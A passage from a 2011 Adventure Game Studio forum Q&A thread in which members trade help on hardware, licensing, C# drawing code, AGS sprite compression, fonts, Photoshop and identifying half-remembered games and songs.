Back on topic though: my netbook's motherboard battery doesn't work anymore, and at the start, I'm asked to load BIOS default options to go on, which is a bit annoying. Expired batteries are a common event with PCs, and it takes just 5$ + 5 minutes to change it. But in this case, I'd have to open the netbook completely to reach the battery and this is both dangerous for its integrity and time-taking. Question is: other than having to press F2 every time I turn the netbook on, and having a wrong time and date, what are possible extra problems a dead CMOS battery can give?
Title: Re: Ask something - We can help.
Post by: Eggie on 20 Mar 2011, 13:50
Ooh... ohh... I have a question! I have a question!

How would I go about asking to license a chunk of The Byrds version of 'Hey, Mr Tambourine Man' for my student film. I've searched forever and I can't find who to talk to, I think the ambiguity stems from it being a cover.
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on 20 Mar 2011, 17:20
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Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 20 Mar 2011, 17:49
In order to use covers you need to speak to whoever licenses the *recording* not the song.

Dylan may own the song but the song was licensed out to the Byrds which includes a license to sub-license that recording for play at the discretion of the recording owner.

So speak to The Byrds' record label.
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on 20 Mar 2011, 18:08
In order to use covers you need to speak to whoever licenses the *recording* not the song.

Dylan may own the song but the song was licensed out to the Byrds which includes a license to sub-license that recording for play at the discretion of the recording owner.

So speak to The Byrds' record label.

Oops... I misread the original post. I was thinking EHCB was asking something entirely different. My mistake.
Title: Re: Ask something - We can help.
Post by: Ali on 21 Mar 2011, 18:17
If I have a  .PDF on my website, will email-harvesting web spiders (who'd have thought that would ever become a real thing?) be able to read an email address in it?

I'm sure it's possible, but do they go to the trouble?
Title: Re: Ask something - We can help.
Post by: Gilbert on 22 Mar 2011, 01:34
I think this is highly possible, as Google search alone can crawl inside pdf files. To make it a little bit safer, maybe said email portion could be made by using a bitmap picture instead of text (provided you have control over the pdf creation process).
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on 22 Mar 2011, 07:23
I think this is highly possible, as Google search alone can crawl inside pdf files. To make it a little bit safer, maybe said email portion could be made by using a bitmap picture instead of text (provided you have control over the pdf creation process).
If you convert it into a picture, you can make a vector graphic as well (with some "turn text into path" function in a vector graphics program), would look nicer (ideally indistinguishable from normal text) in a pdf.

Or maybe you can use this trick: instead of writing your email address aliisthebest@example.com, write something like aliisthebest@e.x.a.m.p.l.e.com, then give all inserted characters the same color as the background and a font size of 1, or whatever is the smallest possible font size. Any crawler should not be able to distinguish between the visible and invisible characters.
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 22 Mar 2011, 20:36
I'm completely new to Microsoft Visual Studio 2010, just downloaded the trial version last night. It actually looks pretty simple to grasp with all the subs and such. I'm assuming it's very similar to c#.

Anyway, I'm wondering how to 'correctly' draw a rectangle? I'm trying to do something similar to the drawing surfaces in AGS. Most of the google searches I find say that if you move a form over the drawn rectangle with the method they show, it will erase it. Then they say the correct method is to use the paint approach, but no one seems to like to show that method. Do any of you know the correct method or a tutorial that I can learn from? Thanks!

Just to go a little off topic, I'm in charge of making work schedules now for almost two dozen employees and the program is so unbelievably horrible and frustrating to use that I'd rather just make my own. I can't set it up to notify me if I don't have a cashier between opening and closing. Or to even have it tell me that the person I'm putting on cash doesn't have training for it. Etc. That's one of the many many things I'll be adding.
Title: Re: Ask something - We can help.
Post by: zabnat on 22 Mar 2011, 20:50
Could you clarify what programming language and edition of Visual Studio 2010 you use?
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 22 Mar 2011, 21:00
Oh, my apologies, I didn't know there were any differences between any of the VS applications.
In the about section the graphical header says Visual Studio 2010 Ultimate, Version 10.0.30319.1 RTMRel. And when I created a new application I selected "Windows Forms Application".

Or am I still giving the wrong information? :P
Title: Re: Ask something - We can help.
Post by: zabnat on 23 Mar 2011, 07:31
Well you can use C++, VB.NET or C# with Visual Studio. I only have used Express editions, but I don't think they differ that much.

I have only used it for C# and am not very good with C++, so I don't know if I'm much help. But I just tried it with C++ and if you just want to draw a rectangle on the form, add a paint event for your form in form designer. Use the example code from MSDN documentation (http://msdn.microsoft.com/en-us/library/c6ksfcek.aspx) inside newly created method for the paint event. Now if you run it you'll have a blue rectangle starting from upper left corner with the size 200x200.
Title: Re: Ask something - We can help.
Post by: Ali on 23 Mar 2011, 13:45
I think this is highly possible, as Google search alone can crawl inside pdf files. To make it a little bit safer, maybe said email portion could be made by using a bitmap picture instead of text (provided you have control over the pdf creation process).
If you convert it into a picture, you can make a vector graphic as well (with some "turn text into path" function in a vector graphics program), would look nicer (ideally indistinguishable from normal text) in a pdf.

Thanks guys... The bitmap technique is what I'm using on the site itself, but it's nice to be able to copy and paste an email address so I didn't want to do the same in the PDF if I didn't have to.
Title: Re: Ask something - We can help.
Post by: cat on 23 Mar 2011, 14:57
@Ryan: You can override onpaint of a control and then paint on the graphics. The magic google word is "owner drawn".
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 23 Mar 2011, 15:12
also @Ryan:

Heres some example code from nexus to make a custom listbox:

Code: Adventure Game Studio
  1.   protected override void OnPaint(PaintEventArgs e)
  2.         {
  3.             if (DesignMode) return;
  4.             HandleOffset();
  5.  
  6.             Pen p = new Pen(this.ForeColor);
  7.             e.Graphics.Clear(this.BackColor);
  8.  
  9.             int count = 0;
  10.             foreach (Game g in games)
  11.             {
  12.                 if (count == selectedIndex)
  13.                 {
  14.                     p.Color = this.selectionColor;
  15.                     e.Graphics.FillRectangle(p.Brush, new Rectangle(margin + 2, count * 52 + 1 - offset + margin, Width - 1, 50));
  16.                 }
  17.  
  18.                 p.Color = this.ForeColor;
  19.  
  20.                 e.Graphics.DrawString(g.Title, titleFont, p.Brush, new PointF(55.0f + margin, count * 52.0f + 10.0f - offset + margin));
  21.                 e.Graphics.DrawString(g.Status, statusFont, p.Brush, new PointF(55.0f + margin, count * 52.0f + 30.0f - offset + margin));
  22.  
  23.                 p.Color = Color.Black;
  24.  
  25.                 if (g.IconImg != null)
  26.                 {
  27.                     e.Graphics.DrawRectangle(p, new Rectangle(2 + margin, count * 52 + 1 - offset + margin, 50, 50));
  28.                     e.Graphics.DrawImage(g.IconImg, new Rectangle(3 + margin, count * 52 + 2 - offset + margin, 48, 48));
  29.  
  30.                 }
  31.  
  32.                 count++;
  33.  
  34.             }
  35.            
  36.             e.Graphics.DrawRectangle(p, new Rectangle(0, 0, Width - 1, Height - 1));
  37.             base.OnPaint(e);
  38.         }
  39.  

Edit: A *bad* example... what am i doing with those pens :/
Edit2: That's better.
Title: Re: Ask something - We can help.
Post by: cat on 23 Mar 2011, 15:34
Also, you don't need to fiddle with pens, you can use SolidBrush instead.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 23 Mar 2011, 15:37
I don't see the difference.

Am i missing something?
Title: Re: Ask something - We can help.
Post by: cat on 23 Mar 2011, 15:56
Not really, but as every method seems to need a brush as a parameter no need for a pen. Nevermind, just saw that DrawRectangle needs a pen.
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 23 Mar 2011, 23:30
Right on. Thanks guys. I'll take a look at them when I haven't been drinking. (I'm normally sober... most of the time :P)

Ahh.. Now I see the light. When creating a new project I have the choice between Visual Basic, C#, C++, etc. Hmm. Which one is the best/easiest format for creating a normal windows based program? I imagine Visual Basic?
Title: Re: Ask something - We can help.
Post by: InCreator on 25 Mar 2011, 22:26
What was that comedy movie named where bunch of people didn't get into good college so they started their own?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 25 Mar 2011, 22:55
Ahh.. Now I see the light. When creating a new project I have the choice between Visual Basic, C#, C++, etc. Hmm. Which one is the best/easiest format for creating a normal windows based program? I imagine Visual Basic?

Go C#. Visual basic is so far removed from most, more powerful languages that you end up reinventing the wheel.
Title: Re: Ask something - We can help.
Post by: Anian on 25 Mar 2011, 23:42
What was that comedy movie named where bunch of people didn't get into good college so they started their own?
You mean college or fraternity? There's Accepted http://www.imdb.com/title/tt0384793 but their own fraterntiy section has stuff like Old school http://www.imdb.com/title/tt0302886/
Title: Re: Ask something - We can help.
Post by: InCreator on 26 Mar 2011, 12:03
Accepted! Thanks.
Title: Re: Ask something - We can help.
Post by: zabnat on 29 Mar 2011, 09:45
Ahh.. Now I see the light. When creating a new project I have the choice between Visual Basic, C#, C++, etc. Hmm. Which one is the best/easiest format for creating a normal windows based program? I imagine Visual Basic?

Go C#. Visual basic is so far removed from most, more powerful languages that you end up reinventing the wheel.
Seconded. If only because the code will look pretty much the same as the script in AGS (C-like). :)
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on 30 Mar 2011, 22:16
Quick question/Rorschach test: What do you see in these two pictures (well, it's one picture, but upper part and lower part independently)?

(http://home.arcor.de/tith-ags/graphs.png)
Title: Re: Ask something - We can help.
Post by: Galen on 30 Mar 2011, 22:22
Boobs and half a swastika.
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on 30 Mar 2011, 22:49
Hmm, so I'm not the only one :-\

I have to/want to include these in a technical report and presentation, I hope the readers/audience won't have these associations.
Title: Re: Ask something - We can help.
Post by: straydogstrut on 30 Mar 2011, 22:53
A windmill and two egg cups (I'm innocent and sweet so I am..)
Title: Re: Ask something - We can help.
Post by: theo on 30 Mar 2011, 23:02
Boobs and half a swastika.

that's exactly what I saw. omg our brains must be interlinked. :o
Title: Re: Ask something - We can help.
Post by: Domino on 31 Mar 2011, 01:40
2 giant breast's trying to go swimming in a very shallow pool.
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on 31 Mar 2011, 02:42
The top section depicts mountains. The bottom section is obviously some alien from Mars puking its gizzards out. How did we not see it before?
Title: Re: Ask something - We can help.
Post by: Galen on 31 Mar 2011, 04:53
that's exactly what I saw. omg our brains must be interlinked. :o

*hums the twilight zone theme*
Title: Re: Ask something - We can help.
Post by: MJL on 10 Apr 2011, 19:34
Quote
2 giant breast's trying to go swimming in a very shallow pool.

Haha :D

Quick odd Q I guess: Every now and then on my PC (XP) there's a small "chh" sound effect that plays. I can't figure out which app is causing it and why it does it, what it's meant to mean? It's fairly quiet, if anyone recognizes what I'm on about please let me know if you have any ideas! I've heard it prior to having any anti virus thing on here.
Title: Re: Ask something - We can help.
Post by: InCreator on 10 Apr 2011, 20:20
SUBWOOFER TEST!
Title: Re: Ask something - We can help.
Post by: Stupot on 10 Apr 2011, 20:32
Are you sure it's coming out of the PC?
Check your wardrobe and under your bed... :-\
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 10 Apr 2011, 21:05
Quote
2 giant breast's trying to go swimming in a very shallow pool.

Haha :D

Quick odd Q I guess: Every now and then on my PC (XP) there's a small "chh" sound effect that plays. I can't figure out which app is causing it and why it does it, what it's meant to mean? It's fairly quiet, if anyone recognizes what I'm on about please let me know if you have any ideas! I've heard it prior to having any anti virus thing on here.

OOO I KNOW!

I bet its that little shitty dog on the search feature scratching himself.

(http://img.askleomedia.com/xp_search_dog.png)
Title: Re: Ask something - We can help.
Post by: Dualnames on 10 Apr 2011, 21:51
God, if that's the chhh sound, I'm gonna laugh twice as much as I'm laughing now.
Title: Re: Ask something - We can help.
Post by: MJL on 10 Apr 2011, 23:28
LOL yes Calin that's a very good lead, maybe it IS the search. F***. I'll run some tests!1 Cos yes it definitely is that rascal's usual noise.

Edit. Yes. It is. Cheers Calin.

That ******* DOG! Caused me paranoia for the last 6 months! F***!!!!!!!!!!!!!!!
Title: Re: Ask something - We can help.
Post by: Tuomas on 12 Apr 2011, 17:01
A question about speakers:

My speakers started making a machine gun-like rattle last night. I figured out it was either the cord going from the laptop to the stereosystem or my soundcard on my laptop. This I thought, because after I took the cord away and tried listening to a vinyl, there was no rattle no more.

But at the same time my tv-speakers started making a buzz. I have a digibox, then a flat 32'' screen with speakers and inbuilt digibox, I use the outer one though because it can record. The sound comes from the digibox... But there's an  annoying buzz on the background, like bees in a can. When I mute the digibox, there's only buzz. When I mute the tv, there's nothing. There used to be no buzz.

My guess is, something is interfering with it, but I don't know how and what and why. Also, I don't know if the speaker-rattle is related, but these two occured for the first time within an hour or so. Any ideas?
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on 12 Apr 2011, 18:11
Tuomas, is it something like this:
?
Sometimes, my cell phone interferes only when it's directly beneath the speakers, or not at all, sometimes it makes noise even when it's 3-5 meters away.
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Post by: MJL on 14 Apr 2011, 16:36
Trying to remember an old puzzle game circa very late 90's or very early millenium... it was a puzzle game, kind of tile based, and you played as these little blob characters I think. All I really remember is jumping from tile to tile, perhaps, to solve some kind of puzzle on each level. I really don't remember much more than that. All I can recall is there was a level with Mount Rushmore in the background, or a comic version of it. If anyone might have the slightest inkling, let me know! :)
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Post by: Nikolas on 14 Apr 2011, 20:16
I'm also looking for a game. It was in a sea, like flash based (I think it wasn't flash but looked as such). The game was a sort of an experiment on games from a student. The idea was to eat something and grow longer (as a sort of a snake), and once you did, you could move faster, go lower and so on... It kept going forever but it was a cool little game. Anyone know about it? I think it was posted here...
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Post by: Vince Twelve on 14 Apr 2011, 21:18
Sounds like flow: http://interactive.usc.edu/projects/cloud/flowing/
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Post by: Nikolas on 14 Apr 2011, 21:45
Thanks Vince! That's it!
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Post by: MJL on 15 Apr 2011, 03:14
Hmm, a mass of websites have all gone down in the last 10 mins, including Twitter, GLP, ATS.... ?? Did the US of A just sink? Many .coms seem to have flumped and disappeared over the last hour...... mega virus? :/ DOOM

Anyone else having problems..? Try some big .com's. Sky.com, soundcloud (which was working earlier) ..... all gone without a trace, not even a 404 error.......

this is uckin' weiiird man! LOL please someone confirm this or set me straight??
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Post by: Mati256 on 15 Apr 2011, 03:31
Both sites working for me.  ???
Title: Re: Ask something - We can help.
Post by: MJL on 15 Apr 2011, 03:32
Thanks Mat, must be something my end then. My ISP doing something I presume. Weird!

Edit: Cool, it's all working again this morning :)
Title: Re: Ask something - We can help.
Post by: Ultra Magnus on 15 Apr 2011, 12:33
Can anyone tell me, in terms of computers, what precisely is an executive?
I know it's basically a kind of user interface, but what's the difference between an executive and a shell, for instance?
Title: Re: Ask something - We can help.
Post by: MJL on 15 Apr 2011, 18:15
Well I'm going to take a stab at that one Magnus, but I may be completely wrong. I'm pretty sure this IS NOT what you're asking, cos I'd assume you know the difference between EXE and shells.... but yes, If you mean "executable" and shell then one is a file that stores everything and can run standalone - usually (executable) and the other is a small program that LOADS a series of other files or executables (exe's).

For example, an entire game may fit into hello.exe (executable)

Whereas a shell (used to be .bat, not sure what it is these days) would be a very small program to help load things needed to run hello.exe, and then maybe make the computer RUN the executable once it's done loading the other drivers/files etc. The executable would hold a mind boggling amount of data and code, where as a shell would probably be just a few lines:

LOAD C:\DELL\386\SOUND.DRV
RUN C:\MODS\HELLO.EXE

An old game I made worked a bit like this. There was an EXE for it, which you could run, but it wouldn't load the sound drivers and it wouldn't be able to find the root directory for any of the games external data. So I had to write a shell (.bat) to tell the computer to load the sound drivers, register for the session the root directory of the game, and finally, launch the game EXE.
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Post by: Ultra Magnus on 15 Apr 2011, 18:45
Well I'm going to take a stab at that one Magnus, but I may be completely wrong. I'm pretty sure this IS NOT what you're asking, cos I'd assume you know the difference between EXE and shells....
Hey, man. Thanks for the in-depth answer, but you're right. That's not what I'm asking. ;)

What I'm looking for is more info on what is summarised here (http://foldoc.org/executive). That says that an executive is a shell, but I figure there must be a difference or it would just be called a shell, right? I assume it's a kind of "squares are all rectangles, but not all rectangles are squares" type thing, but can anyone give me any more specific info?
Title: Re: Ask something - We can help.
Post by: dbuske on 15 Apr 2011, 22:09
I need ideas for Documentaries to make.  What are all of you interested in knowing about?
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Post by: Mati256 on 15 Apr 2011, 22:15
I need ideas for Documentaries to make.  What are all of you interested in knowing about?

Adventure games?
Title: Re: Ask something - We can help.
Post by: dbuske on 15 Apr 2011, 22:21
I need ideas for Documentaries to make.  What are all of you interested in knowing about?

Adventure games?
Probably a tongue in cheek response, but not a bad idea.  Maybe just 2.5 adventures and not commercial.
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Post by: Mati256 on 15 Apr 2011, 22:55
I mean AGS Adventure Games. Or maybe AGS itself and it's community.
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Post by: Wyz on 16 Apr 2011, 01:47
Can anyone tell me, in terms of computers, what precisely is an executive?
I know it's basically a kind of user interface, but what's the difference between an executive and a shell, for instance?

As far as I can tell it a bit of a archaic term for a shell. There exist a shell that is called 'Executive', that might coincide with it. I don't know if there is a clear difference between the words, the only thing I could think of is that one might be a rudimentary interface that just fire up programs, while the other also allows basic scripting; but that's just speculation.
Title: Re: Ask something - We can help.
Post by: Stupot on 16 Apr 2011, 03:18
I need ideas for Documentaries to make.  What are all of you interested in knowing about?

I had an idea a little while ago, but I'd never do it myself, so maybe you could consider it.

A kind of meta-documentary documenting the process of making a documentary, using your very documentary as the focus of itself.
You would interview various film-makers and documentists(?) about the processes involved, from coming up with an idea, finding sources, interviewing people, writing, filming, editing, etc.  The film not only documents these techniques and advice, but itself becomes the product of what it is documenting.

It makes sense in my head anyway :P
Title: Re: Ask something - We can help.
Post by: Ultra Magnus on 16 Apr 2011, 07:49
As far as I can tell it a bit of a archaic term for a shell.
Yeah, as you said, there is an old shell called "Executive", and the Windows interface classified itself as an "MS-DOS Executive" (http://img849.imageshack.us/i/win203.png/) for the first few versions. But more recently there is also the "Windows Executive" that runs between the UI and the kernel in NT, which seems to either be unrelated to the old definition, or is related in a very specific way that I can't figure out.
It's just tough to find anything searching for 'shell' and 'executive' that isn't about oil.
Title: Re: Ask something - We can help.
Post by: Ultra Magnus on 16 Apr 2011, 08:15
I need ideas for Documentaries to make.  What are all of you interested in knowing about?
Bapu 2: Infinitely Superior to the Kaffirs
Title: Re: Ask something - We can help.
Post by: Stee on 16 Apr 2011, 11:50
Can anyone tell me, in terms of computers, what precisely is an executive?
I know it's basically a kind of user interface, but what's the difference between an executive and a shell, for instance?

Hope this helps.

http://en.wikipedia.org/wiki/Architecture_of_Windows_NT#Executive

Essentially a collection of services. Probably things like svchost etc, that are core to the system and loaded first.
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Post by: MJL on 19 Apr 2011, 13:10
Anyone familiar with 3DS MAX my friend is having trouble importing a simple Wavefront OBJ file. I'm able to import it fine on my old 3D software (Bryce) but she can't get it into her expensive software 3dS Max. Any ideas what might be causing this problem?
Title: Re: Ask something - We can help.
Post by: Anian on 19 Apr 2011, 14:14
Anyone familiar with 3DS MAX my friend is having trouble importing a simple Wavefront OBJ file. I'm able to import it fine on my old 3D software (Bryce) but she can't get it into her expensive software 3dS Max. Any ideas what might be causing this problem?
Maybe a bit more specific? Is there an error message, she can't see the actual .obj file, does it seem like it's importing but nothing happens, are the textures messed up? Where did she get the obj file?

Also, I don't know this for sure, there's supposed to be a plugin for 3ds max for importing obj and it's supposed to be better than the default one, so might try looking into that as well.
Title: Re: Ask something - We can help.
Post by: WHAM on 26 Apr 2011, 18:37
Where can I find a good tutorial on how to make pixellated flames? Or is there a fire plugin for AGS somewhere?
Title: Re: Ask something - We can help.
Post by: MJL on 26 Apr 2011, 20:04
An AGS tech question, didn't feel it qualified a new thread:

Basically, using 2.72, what is "Compress Sprite File" ?

1 - My spr is 160mb. To what size will this option roughly compress it to?

2 - The help file says game "speed" can be compromised, anyone care to eloborate? Will my cutscene times change, what changes exactly?

Thanks :)
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Post by: Gilbert on 27 Apr 2011, 06:14
Basically, using 2.72, what is "Compress Sprite File" ?
Exactly what it says. It compresses the sprite data to save some space (by default the sprite data are not compressed). However, because of performance reasons, it only uses the RLE method (just consider it (one of) the cheapest and simplest compression method), so the effectiveness depends heavily on the nature of the graphics and in general it's weaker than methods such as the LZ and Huffman variants.
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1 - My spr is 160mb. To what size will this option roughly compress it to?
As stated, it depends heavily on the nature of the graphics. If there are a lot of FLAT coloured areas (or large fully transparent areas) in your sprites RLE would normally does its work quite well, but if the sprites are more "complicated", like photorealistic ones, have rapid variations on colours and/or heavy in gradients, etc. the save in space can be negligible. (In other words, try it and see if it really helps.)
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2 - The help file says game "speed" can be compromised, anyone care to eloborate? Will my cutscene times change, what changes exactly?
In fact, because of the retarded nature of the RLE scheme, CPU load used in decompression is almost non-existing, so unless you have a very crippled system it shouldn't affect much of the games' speed. In fact, as sprite compression reduces file sizes, it may even help in improving performance if the actual bottleneck of a certain system comes from disk accesses.
Title: Re: Ask something - We can help.
Post by: MJL on 02 May 2011, 00:48
Thank you Governor! Much appreciated  8)
Title: Re: Ask something - We can help.
Post by: Diegan on 07 May 2011, 23:43
Hi, I am new to AGS and would like to try and make a game with a friend of mine. Two questions pop to my mind before even starting:

- Do I have to be a programmer in order to make a game? I have a little knowledge over the basics of programming, but not much, so if being a programmer is required, maybe I won't be able to make a game :(
- The other question is: what software would be good for making sprites, and making backgrounds and objects? I guess there must be neat programs better than paintbrush lol :P

Anyway, thank you!
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Post by: Anian on 08 May 2011, 00:56
- Do I have to be a programmer in order to make a game? I have a little knowledge over the basics of programming, but not much, so if being a programmer is required, maybe I won't be able to make a game :(
- The other question is: what software would be good for making sprites, and making backgrounds and objects? I guess there must be neat programs better than paintbrush lol :P
1. Like any tool, AGS is here to make your life easier, but you'll need to learn how to use AGS itself. Level of programming knowledge needed depends on what you want to do, but for the sake of argument let's say that to make a very basic game, you just need to read, to use common sense and for a start follow some basic tutorials (such as this one
- it's for an older version of AGS, but basics are mostly the same). Programming is very quick and simplified for simple things.
When you go into more complicated stuff, more programming is required. The wiki/manuals on the main page of the AGS site pretty much offer any info you might need.
I found that a lot of expirienced brilliant people contribute to the forums, so make sure to search the forums before asking stuff, especially the two top parts of the forum, you'll probably find a topic where somebody wanted to do what you want to and already found a solution to it:
http://www.adventuregamestudio.co.uk/yabb/index.php?board=6.0
http://www.adventuregamestudio.co.uk/yabb/index.php?board=2.0
Search those (and other) parts of the forum when you have some trouble and if you can't find an anwser then ask where it's apropriate. Respect the rules of the forum and you'll be rewarded for it, trust me.
There's a even a "Recruit a team" thread, so you can make an offer/present your project there and someone who finds it interesting will probably join you and help out.

2. here's a recent topic about that http://www.adventuregamestudio.co.uk/yabb/index.php?topic=43392.0  as you can see there's quality free software as well as some you have to pay for, your choice, but rememeber, that far more of results depend on your skills than on the actual software.

...oh, and welcome to the forums.  :)
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Post by: Scavenger on 11 May 2011, 02:01
I didn't want to make a new thread for this, and it seems a little far fetched, but this game has been on my mind for years and I don't know what it is.

It's an RPG, first person, it might have been raycast (I remember sprites walking around Wolfenstein fashion), and you could throw herbs at people if you equipped them in your weapon slot. There were guards walking around also, but if you hit them and they collided with you, you went to a new screen which said "You spend the night in a cold, dark prison cell."

I for the life of me cannot remember what this game was, and it's driving me crazy. I never personally played it, I just watched my cousin play - he quickly traded it in for Day of the Tentacle, I believe. It's not any of the Elder Scrolls games, not Realms of Arkania, not Amulets and Armor, and not Eye of the Beholder. I just can't figure out what it was.
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Post by: Guybrush Nosehair on 11 May 2011, 03:15
I don't want to divert everyone's attention from the last question asked, but I've also got one. Although I've been a member of this community for a while now, I must admit that I have never played an AGS game (save for a few Indiana Jones and other misc. demos.) So, now that the summer is coming up, I figure it's time I actually sit down and play a game. I have high demands for games, so I hope someone can help me find what I'm looking for.

I want a full length game with good artwork (LucasArts-esque or better) and voice acting. Also, it must be free. Does anyone have any suggestions for such games? Thanks.
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Post by: Hudders on 11 May 2011, 09:45
I want a full length game with good artwork (LucasArts-esque or better) and voice acting. Also, it must be free.

Depending on your definition of "full length", you're unlikely to get all of that in one game. Especially when you specify that it should be free.
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Post by: Wreck on 11 May 2011, 10:16
I didn't want to make a new thread for this, and it seems a little far fetched, but this game has been on my mind for years and I don't know what it is...

I could be wrong as it's been donkeys years since I played them, but this sounds a lot like a mid 90's game called Witchaven, or it's sequel the imaginatively named Witchaven 2 (which both used the Duke Nukem 3d engine).
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Post by: arj0n on 11 May 2011, 10:19
I didn't want to make a new thread for this, and it seems a little far fetched, but this game has been on my mind for years and I don't know what it is.

It's an RPG, first person, it might have been raycast (I remember sprites walking around Wolfenstein fashion), and you could throw herbs at people if you equipped them in your weapon slot. There were guards walking around also, but if you hit them and they collided with you, you went to a new screen which said "You spend the night in a cold, dark prison cell."

I for the life of me cannot remember what this game was, and it's driving me crazy. I never personally played it, I just watched my cousin play - he quickly traded it in for Day of the Tentacle, I believe. It's not any of the Elder Scrolls games, not Realms of Arkania, not Amulets and Armor, and not Eye of the Beholder. I just can't figure out what it was.

Arx Fatalis? (http://www.mobygames.com/game/windows/arx-fatalis)
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Post by: Chicky on 13 May 2011, 00:55
Quick one, i figured someone will know!

What are the legalities regarding use of sounds from freesound.org? I'm planning on using some stuff in a film, it's not commercial just youtube/vimeo etc and maybe some film festivals.
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Post by: RetroJay on 13 May 2011, 02:29
Hi All.

I have deleted my question cos it was silly.

Jay.
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Post by: Scarab on 13 May 2011, 05:32
I don't want to divert everyone's attention from the last question asked, but I've also got one. Although I've been a member of this community for a while now, I must admit that I have never played an AGS game (save for a few Indiana Jones and other misc. demos.) So, now that the summer is coming up, I figure it's time I actually sit down and play a game. I have high demands for games, so I hope someone can help me find what I'm looking for.

I want a full length game with good artwork (LucasArts-esque or better) and voice acting. Also, it must be free. Does anyone have any suggestions for such games? Thanks.

The  Ben Jordan (http://www.grundislavgames.com/benjordan/) games are the closest fit I can think of, A set of seven medium length games, several of which have voice acting, and an 8th due to be released this year.

They are some of the first AGS games I played, and I highly recommend them.

Other series that come to mind are the award winning Chzo Mythos by Yahtzee [link to 1st game of 4] (http://www.adventuregamestudio.co.uk/games.php?action=detail&id=269), and the Blackwell Series by Dave Gilbert, although the latter is not free.
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Post by: Gudforby on 14 May 2011, 19:14
Quick one, i figured someone will know!

What are the legalities regarding use of sounds from freesound.org? I'm planning on using some stuff in a film, it's not commercial just youtube/vimeo etc and maybe some film festivals.

They claim on the main page that freesound is a collaborative database of Creative Commons licensed sounds, stating the words Share, Remix, Reuse - Legally. So I don't think it will be any trouble. I've done the same thing myself many times.

They also have a legal page (http://www.freesound.org/legal.php) with more information. It seems you only need to attribute the creator.
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Post by: Snarky on 15 May 2011, 00:12
I remember at some point someone criticized an AGS game (and AGS games in general) for using the default speech font, claiming it was ugly. And I agree, it's not a great font.

But which font should I use, then? Is there an obvious, superior substitute in roughly the same style? (Bitmap, not TTF.)
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Post by: ddq on 15 May 2011, 00:54
Snarky: This is where I go (http://www.dafont.com/bitmap.php) for all my bitmap font needs. There's hundreds of good, free, low-res fonts there, so you've got lots of choices.
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Post by: Snarky on 16 May 2011, 14:55
Cheers, ddq. Those all seem to be TTF fonts, though. I'd like a SCI font if possible. Also, I'd rather not have to evaluate hundreds of maybe-suitable replacements; it's quite tedious to import each one into AGS, setting the right outline options and then running the game to test how it look. I was hoping someone might be able to just say "Yes, this is a good LucasArts-y speech font with consistent character heights and outlining that you can use instead of the default AGS one."
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Post by: Khris on 16 May 2011, 16:12
Yes, this (http://db.tt/T9Xoz6k) is a good LucasArts-y speech font with consistent character heights and outlining that you can use instead of the default AGS one.

   (http://i.imgur.com/Bkp3f.png)

It's ttf, too but should be exactly what you're looking for. Import it at 10pt. I've included the outline font though you shouldn't need it if you use automatic outlining.
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Post by: Snarky on 16 May 2011, 16:14
Sweet! Thanks Khris!
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Post by: InCreator on 16 May 2011, 19:39
Can you define custom brush in photoshop so it's texture is still intact?
I want use photograph of tree leaf and scatter & rotate it around like any custom brush, but I want it's texture to stay intact instead of being replaced with single color.
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Post by: Mati256 on 16 May 2011, 21:15
I think you want to use the Pattern Stamp Tool.

PS: Khris thanks for the font.
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Post by: InCreator on 16 May 2011, 21:35
No that's not it. I want to
(http://i.imgur.com/H2OAk.png)
turn leaf into batch of leaves, which means basically, spray same leaf around while it changes a bit of brightness, has random rotation and size
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Post by: Hudders on 17 May 2011, 09:03
I have done that before but only by accident! I have no idea how to reproduce it!  :-\
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Post by: Oliwerko on 17 May 2011, 14:38
Okay, here we go with another "guess the song" request.

The night before last, approx. 3 am some nutshell around the block kept playing this song over and over again loud as hell in their car (probably). It was a slow ballad sung by a female vocalist. It stuck in my mind after hearing it like 20 times (before the police shut them down), but I couldn't make out the words.

What I know is that the most recurrent word was "you". Nothing surprising in love ballads, I know. I remember that there was a phrase "about youuuu" with a falling pitch in the chorus (I'm talking only about the chorus here, the rest was too far away to hear), and then something like "I remember (to saayy)" - the part in the brackets may be completely off, it's just there for the rhythm's sake, it was simply two syllablles sang over 4 falling notes.

Now I guess this is too little to identify, but maybe I'll be lucky. Anyone?
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Post by: Khris on 17 May 2011, 15:00
http://www.midomi.com/ :)
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Post by: Stupot on 17 May 2011, 15:17
Oh man.  I need help.
So the other day I wanted to switch off my built-in microphone, and I did this by going to 'manage my audio devices' in Vista, and selected 'Don't use this device (disable)', assuming that I would be able to 'enable' it again at a later time.

I just went to do that because I wanted to play around in 'Midomi' after reading this very thread, and now it looks like there is no sign of my mic, at least not in the 'manage my audio devices' section nor the 'Realtek manager'.

Have I unwittingly uninstalled the mic?  because to me 'disable' and 'uninstall' are two very different things.

Any Idea how I can get it back?

Thanks :-)
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Post by: Khris on 17 May 2011, 15:28
Look for it in the device manager. Press Windows+Pause, then click the menu option at the top left. You should be able to re-enable it in there.
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Post by: Stupot on 17 May 2011, 16:25
Thanks Khris. I managed to do it a different way.  I didn't realise that in the 'manage audio devices' window you can simply right-click in the empty space and check 'show disabled devices'.

Crisis averted :D
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Post by: Dualnames on 18 May 2011, 14:13
Okay, here we go with another "guess the song" request.

The night before last, approx. 3 am some nutshell around the block kept playing this song over and over again loud as hell in their car (probably). It was a slow ballad sung by a female vocalist. It stuck in my mind after hearing it like 20 times (before the police shut them down), but I couldn't make out the words.

What I know is that the most recurrent word was "you". Nothing surprising in love ballads, I know. I remember that there was a phrase "about youuuu" with a falling pitch in the chorus (I'm talking only about the chorus here, the rest was too far away to hear), and then something like "I remember (to saayy)" - the part in the brackets may be completely off, it's just there for the rhythm's sake, it was simply two syllablles sang over 4 falling notes.

Now I guess this is too little to identify, but maybe I'll be lucky. Anyone?

Perhaps it was Alone by Heart?
